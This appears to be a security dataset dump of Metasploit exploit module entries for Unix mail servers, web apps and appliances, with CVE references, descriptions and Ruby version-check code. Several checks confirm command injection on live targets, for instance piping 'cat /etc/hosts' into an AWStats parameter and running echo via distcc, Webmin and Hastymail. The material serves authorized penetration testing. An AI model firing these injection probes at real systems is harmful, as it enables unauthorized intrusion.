deardaniel/secdata-raw huggingface dataset:
Metasploit Module: OpenSMTPD OOB Read Local Privilege Escalation
Type: exploit
Path: modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb
Platform: unix
Disclosure date: 2020-02-24
References: CVE-2020-8794, URL-https://seclists.org/oss-sec/2020/q1/96

Description:
This module exploits an out-of-bounds read of an attacker-controlled
          string in OpenSMTPD's MTA implementation to execute a command as the
          root or nobody user, depending on the kind of grammar OpenSMTPD uses.

Check method (fingerprinting):
smtpd_help = cmd_exec('smtpd -h')

    if smtpd_help.empty?
      return CheckCode::Unknown('smtpd(8) help could not be displayed.')
    end

    version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first

    unless version
      return CheckCode::Unknown('OpenSMTPD version could not be found.')
    end

    version = Rex::Version.new(version)

    if version < target[:patched_version]
      if version >= target[:new_grammar_version]
        vprint_status("OpenSMTPD #{version} is using new grammar")
        @grammar = :new
      else
        vprint_status("OpenSMTPD #{version} is using old grammar")
        @grammar = :old
      end

      return CheckCode::Appears(
        "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794."
      )
    end

    CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794.")
  end
Metasploit Module: NetBSD mail.local Privilege Escalation
Type: exploit
Path: modules/exploits/unix/local/netbsd_mail_local.rb
Platform: unix
Disclosure date: 2016-07-07
References: URL-http://akat1.pl/?id=2, EDB-40141, CVE-2016-6253, URL-http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc

Description:
This module attempts to exploit a race condition in mail.local with SUID bit set on:
          NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
          NetBSD 6.1 - 6.1.5
          NetBSD 6.0 - 6.0.6
          Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
Metasploit Module: Morris Worm sendmail Debug Mode Shell Escape
Type: exploit
Path: modules/exploits/unix/smtp/morris_sendmail_debug.rb
Platform: unix
Disclosure date: 1988-11-02
References: URL-https://en.wikipedia.org/wiki/Morris_worm, URL-https://spaf.cerias.purdue.edu/tech-reps/823.pdf, URL-https://github.com/arialdomartini/morris-worm, URL-http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH

Description:
This module exploits sendmail's well-known historical debug mode to
          escape to a shell and execute commands in the SMTP RCPT TO command.

          This vulnerability was exploited by the Morris worm in 1988-11-02.
          Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.

          Currently, only cmd/unix/reverse and cmd/unix/generic are supported.

Check method (fingerprinting):
checkcode = CheckCode::Safe('Sendmail DEBUG mode not detected')

    connect
    res = sock.get_once

    return CheckCode::Unknown('No response from SMTP server') unless res

    if res =~ /^220.*Sendmail/
      checkcode = CheckCode::Detected('Sendmail service detected')
    end

    sock.put("DEBUG\r\n")
    res = sock.get_once

    return checkcode unless res

    if res.start_with?('200 Debug set')
      checkcode = CheckCode::Appears('Sendmail DEBUG mode is enabled')
    end

    checkcode
  rescue EOFError, Rex::ConnectionError => e
    vprint_error(e.message)
    CheckCode::Unknown('Connection error')
  ensure
    disconnect
  end
Metasploit Module: ClamAV Milter Blackhole-Mode Remote Code Execution
Type: exploit
Path: modules/exploits/unix/smtp/clamav_milter_blackhole.rb
Platform: unix
Disclosure date: 2007-08-24
References: CVE-2007-4560, OSVDB-36909, BID-25439, EDB-4761

Description:
This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
          (Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
          When implemented with black hole mode enabled, it is possible to execute
          commands remotely due to an insecure popen call.
Metasploit Module: Exim4 string_format Function Heap Buffer Overflow
Type: exploit
Path: modules/exploits/unix/smtp/exim4_string_format.rb
Platform: unix
Disclosure date: 2010-12-07
References: CVE-2010-4344, CVE-2010-4345, OSVDB-69685, OSVDB-69860, BID-45308, BID-45341, URL-https://seclists.org/oss-sec/2010/q4/311, URL-http://www.gossamer-threads.com/lists/exim/dev/89477, URL-http://bugs.exim.org/show_bug.cgi?id=787, URL-http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b

Description:
This module exploits a heap buffer overflow within versions of Exim prior to
          version 4.69. By sending a specially crafted message, an attacker can corrupt the
          heap and execute arbitrary code with the privileges of the Exim daemon.

          The root cause is that no check is made to ensure that the buffer is not full
          prior to handling '%s' format specifiers within the 'string_vformat' function.
          In order to trigger this issue, we get our message rejected by sending a message
          that is too large. This will call into log_write to log rejection headers (which
          is a default configuration setting). After filling the buffer, a long header
          string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
          FROM' command. By sending a second message, the string we sent will be evaluated
          with 'expand_string' and arbitrary shell commands can be executed.

          It is likely that this issue could also be exploited using other techniques such
          as targeting in-band heap management structures, or perhaps even function pointers
          stored in the heap. However, these techniques would likely be far more platform
          specific, more complicated, and less reliable.

          This bug was original found and reported in December 2008, but was not
          properly handled as a security issue. Therefore, there was a 2 year lag time
          between when the issue was fixed and when it was discovered being exploited
          in the wild. At that point, the issue was assigned a CVE and began being
          addressed by downstream vendors.

          An additional vulnerability, CVE-2010-4345, was also used in the attack that
          led to the discovery of danger of this bug. This bug allows a local user to
          gain root privileges from the Exim user account. If the Perl interpreter is
          found on the remote system, this module will automatically exploit the
          secondary bug as well to get root.
Metasploit Module: OpenSMTPD MAIL FROM Remote Code Execution
Type: exploit
Path: modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb
Platform: unix
Disclosure date: 2020-01-28
References: CVE-2020-7247, EDB-48051, URL-https://seclists.org/oss-sec/2020/q1/40

Description:
This module exploits a command injection in the MAIL FROM field during
          SMTP interaction with OpenSMTPD to execute a command as the root user.

Check method (fingerprinting):
connect
    res = sock.get_once

    return CheckCode::Unknown('No response from SMTP server') unless res
    return CheckCode::Detected('OpenSMTPD detected') if res =~ /^220.*ESMTP OpenSMTPD/

    CheckCode::Safe('Target does not appear to be running OpenSMTPD')
  rescue EOFError, Rex::ConnectionError => e
    vprint_error(e.message)
    CheckCode::Unknown('Connection error')
  ensure
    disconnect
  end
Metasploit Module: Qmail SMTP Bash Environment Variable Injection (Shellshock)
Type: exploit
Path: modules/exploits/unix/smtp/qmail_bash_env_exec.rb
Platform: unix
Disclosure date: 2014-09-24
References: CVE-2014-6271, OSVDB-112004, EDB-34765, URL-https://seclists.org/oss-sec/2014/q3/649, URL-https://lists.gt.net/qmail/users/138578

Description:
This module exploits a shellshock vulnerability on Qmail, a public
          domain MTA written in C that runs on Unix systems.
          Due to the lack of validation on the MAIL FROM field, it is possible to
          execute shell code on a system with a vulnerable BASH (Shellshock).
          This flaw works on the latest Qmail versions (qmail-1.03 and
          netqmail-1.06).
          However, in order to execute code, /bin/sh has to be linked to bash
          (usually default configuration) and a valid recipient must be set on the
          RCPT TO field (usually admin@exampledomain.com).
          The exploit does not work on the "qmailrocks" community version
          as it ensures the MAILFROM field is well-formed.
Metasploit Module: X11 Keyboard Command Injection
Type: exploit
Path: modules/exploits/unix/x11/x11_keyboard_exec.rb
Platform: unix
Disclosure date: 2015-07-10
References: CVE-1999-0526

Description:
This module exploits open X11 servers by connecting and registering a
          virtual keyboard. The virtual keyboard is used to open an xterm or gnome
          terminal and type and execute the specified payload.
Metasploit Module: SonicWall Global Management System XMLRPC set_time_zone Unauth RCE
Type: exploit
Path: modules/exploits/unix/sonicwall/sonicwall_xmlrpc_rce.rb
Disclosure date: 2016-07-22
References: CVE-2014-8420, URL-https://www.digitaldefense.com/digital-defense/vrt-discoveries/, URL-https://slides.com/kernelsmith/bsidesaustin2018/#/

Description:
This module exploits a vulnerability in SonicWall Global
          Management System Virtual Appliance versions 8.1 (Build 8110.1197)
          and below. This virtual appliance can be downloaded from
          http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a
          holistic way to manage your entire network security environment.'

          These vulnerable versions (8.1 Build 8110.1197 and below) do not
          prevent unauthenticated, external entities from making XML-RPC
          requests to port 21009 of the virtual app. After the XML-RPC call
          is made, a shell script is called like so:
          'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.

Check method (fingerprinting):
if datastore['WEB_SERVER_PORT']
      port_number = datastore['WEB_SERVER_PORT']
    else
      port_number = datastore['SSL'] ? '443' : '80'
    end

    handler = datastore['SSL'] ? 'https' : 'http'

    res = request_url("#{handler}://#{rhost}:#{port_number}")

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Connection failed')
    end

    unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/
      return CheckCode::Safe('SonicWall XMLRPC endpoint not detected')
    end

    version = Rex::Version.new $1.to_s

    unless version <= Rex::Version.new('8.1')
      return CheckCode::Safe("SonicWall version #{version} is not vulnerable")
    end

    CheckCode::Appears("SonicWall version #{version} appears vulnerable")
  end
Metasploit Module: SpamAssassin spamd Remote Command Execution
Type: exploit
Path: modules/exploits/unix/misc/spamassassin_exec.rb
Platform: unix
Disclosure date: 2006-06-06
References: CVE-2006-2447, OSVDB-26177, BID-18290, URL-http://spamassassin.apache.org/advisories/cve-2006-2447.txt

Description:
This module exploits a flaw in the SpamAssassin spamd service by specifying
          a malicious vpopmail User header, when running with vpopmail and paranoid
          modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
Metasploit Module: DistCC Daemon Command Execution
Type: exploit
Path: modules/exploits/unix/misc/distcc_exec.rb
Platform: unix
Disclosure date: 2002-02-01
References: CVE-2004-2687, OSVDB-13378, URL-http://distcc.samba.org/security.html

Description:
This module uses a documented security weakness to execute
          arbitrary commands on any system running distccd.

Check method (fingerprinting):
r = rand_text_alphanumeric(10)
    connect
    sock.put(dist_cmd("sh", "-c", "echo #{r}"))

    dtag = rand_text_alphanumeric(10)
    sock.put("DOTI0000000A#{dtag}\n")

    err, out = read_output
    if out && out.index(r)
      return Exploit::CheckCode::Vulnerable('Remote code execution via distcc confirmed')
    end

    return Exploit::CheckCode::Safe('Target does not appear to be running a vulnerable distcc daemon')
  ensure
    disconnect
  end
Metasploit Module: Zabbix Agent net.tcp.listen Command Injection
Type: exploit
Path: modules/exploits/unix/misc/zabbix_agent_exec.rb
Platform: unix
Disclosure date: 2009-09-10
References: CVE-2009-4502, OSVDB-60956, URL-https://support.zabbix.com/browse/ZBX-1032

Description:
This module exploits a metacharacter injection vulnerability
          in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
          can only be exploited if the attacker can hijack the IP address
          of an authorized server (as defined in the configuration file).
Metasploit Module: Polycom Shell HDX Series Traceroute Command Execution
Type: exploit
Path: modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
Platform: unix
Disclosure date: 2017-11-12
References: CVE-2025-34093, URL-https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/

Description:
Within Polycom command shell, a command execution flaw exists in
          lan traceroute, one of the dev commands, which allows for an
          attacker to execute arbitrary payloads with telnet or openssl.

Check method (fingerprinting):
connect
    Rex.sleep(1)
    res = sock.get_once
    disconnect
    if res.nil? || res.empty?
      return Exploit::CheckCode::Unknown('No response received from target')
    elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
      return Exploit::CheckCode::Detected('Polycom HDX device detected')
    end

    Exploit::CheckCode::Unknown('Could not determine if target is a Polycom HDX device')
  end
Metasploit Module: Polycom Command Shell Authorization Bypass
Type: exploit
Path: modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb
Platform: unix
Disclosure date: 2013-01-18
References: CVE-2012-6610, URL-http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf, URL-http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html, EDB-24494

Description:
The login component of the Polycom Command Shell on Polycom HDX
          video endpoints, running software versions 3.0.5 and earlier,
          is vulnerable to an authorization bypass when simultaneous
          connections are made to the service, allowing remote network
          attackers to gain access to a sandboxed telnet prompt without
          authentication. Versions prior to 3.0.4 contain OS command
          injection in the ping command which can be used to execute
          arbitrary commands as root.

Check method (fingerprinting):
connect
    sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
    Rex.sleep(1)
    res = sock.get_once
    disconnect

    if res.nil? || res.empty?
      return Exploit::CheckCode::Unknown('No response received from target')
    end

    if res =~ /Welcome to ViewStation/
      return Exploit::CheckCode::Appears('Polycom HDX ViewStation detected')
    end

    Exploit::CheckCode::Safe('Target does not appear to be a Polycom HDX device')
  end
Metasploit Module: Xerox Multifunction Printers (MFP) "Patch" DLM Vulnerability
Type: exploit
Path: modules/exploits/unix/misc/xerox_mfp.rb
Platform: unix
Disclosure date: 2012-03-07
References: BID-52483, URL-http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf, URL-http://foofus.net/goons/percx/Xerox_hack.pdf

Description:
This module exploits a vulnerability found in Xerox Multifunction Printers (MFP). By
          supplying a modified Dynamic Loadable Module (DLM), it is possible to execute arbitrary
          commands under root privileges.
Metasploit Module: Hastymail 2.1.1 RC1 Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/hastymail_exec.rb
Platform: unix
Disclosure date: 2011-11-22
References: CVE-2011-4542, BID-50791, OSVDB-77331, URL-https://www.dognaedis.com/vulns/DGS-SEC-3.html

Description:
This module exploits a command injection vulnerability found in Hastymail
          2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
          the "lib/ajax_functions.php" script. Authentication is required on Hastymail
          in order to exploit the vulnerability. The module has been successfully tested
          on Hastymail 2.1.1 RC1 over Ubuntu 10.04.

Check method (fingerprinting):
@uri = normalize_uri(target_uri.path)
    @uri << '/' if @uri[-1, 1] != '/'
    @session_id = ""

    login

    if not @session_id or @session_id.empty?
      vprint_error "Authentication failed"
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    test = rand_text_alpha(rand(4) + 4)
    data = "rs=passthru&"
    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
    data << "rsargs[]=echo #{test}"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{@uri}",
      'Cookie' => @session_id,
      'data' => data
    })

    if res and res.code == 200 and res.body =~ /#{test}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: OpenNetAdmin Ping Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/opennetadmin_ping_cmd_injection.rb
Platform: linux
Disclosure date: 2019-11-19
References: CVE-2019-25065, EDB-47691

Description:
This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'vars_post' => {
        'xajax' => 'window_open',
        'xajaxargs[]' => 'app_about'
      }
    })

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    unless res.body =~ /OpenNetAdmin/i
      return CheckCode::Safe('The target is not vulnerable')
    end

    opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first
    version = Rex::Version.new(opennetadmin_version)

    if version
      vprint_status "OpenNetAdmin version #{version}"
    end

    if version.between?(Rex::Version.new('8.5.14'), Rex::Version.new('18.1.1'))
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Detected("Detected version #{version}")
  end
Metasploit Module: AWStats migrate Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/awstats_migrate_exec.rb
Platform: unix
Disclosure date: 2006-05-04
References: CVE-2006-2237, OSVDB-25284, BID-17844, URL-http://awstats.sourceforge.net/awstats_security_news.php, EDB-1755

Description:
This module exploits an arbitrary command execution vulnerability in the
          AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
          payloads are recommended with this module. The vulnerability is only
          present when AllowToUpdateStatsFromBrowser is enabled in the AWStats
          configuration file (non-default).

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'vars_get' =>
        {
          'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
        }
    }, 25)

    if (res and res.body.match(/localhost/))
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Joomla Content History SQLi Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb
Platform: php
Disclosure date: 2015-10-23
References: CVE-2015-7857, CVE-2015-7297, CVE-2015-7857, CVE-2015-7858, URL-https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/, URL-http://developer.joomla.org/security-centre/[PII_REDACTED]1-core-sql-injection.html

Description:
This module exploits a SQL injection vulnerability found in Joomla versions
          3.2 up to 3.4.4. The vulnerability exists in the Content History administrator
          component in the core of Joomla. Triggering the SQL injection makes it possible
          to retrieve active Super User sessions. The cookie can be used to login to the
          Joomla administrator backend. By creating a new template file containing our
          payload, remote code execution is made possible.

Check method (fingerprinting):
# Request using a non-existing table
    res = sqli(rand_text_alphanumeric(rand(10) + 6))

    if res && res.body =~ /`(.*)_ucm_history`/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Webmin /file/show.cgi Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/webmin_show_cgi_exec.rb
Platform: unix
Disclosure date: 2012-09-06
References: OSVDB-85248, BID-55446, CVE-2012-2982, URL-http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf, URL-https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213

Description:
This module exploits an arbitrary command execution vulnerability in Webmin
          1.580. The vulnerability exists in the /file/show.cgi component and allows an
          authenticated user, with access to the File Manager Module, to execute arbitrary
          commands with root privileges. The module has been tested successfully with Webmin
          1.580 over Ubuntu 10.04.

Check method (fingerprinting):
peer = "#{rhost}:#{rport}"

    vprint_status("Attempting to login...")

    data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => "/session_login.cgi",
        'cookie' => "testing=1",
        'data' => data
      }, 25
    )

    if res and res.code == 302 and res.get_cookies =~ /sid/
      vprint_good "Authentication successful"
      session = res.get_cookies.split("sid=")[1].split(";")[0]
    else
      vprint_error "Service found, but authentication failed"
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    vprint_status("Attempting to execute...")

    command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

    res = send_request_cgi(
      {
        'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
        'cookie' => "sid=#{session}"
      }, 25
    )

    if res and res.code == 200 and res.message =~ /Document follows/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end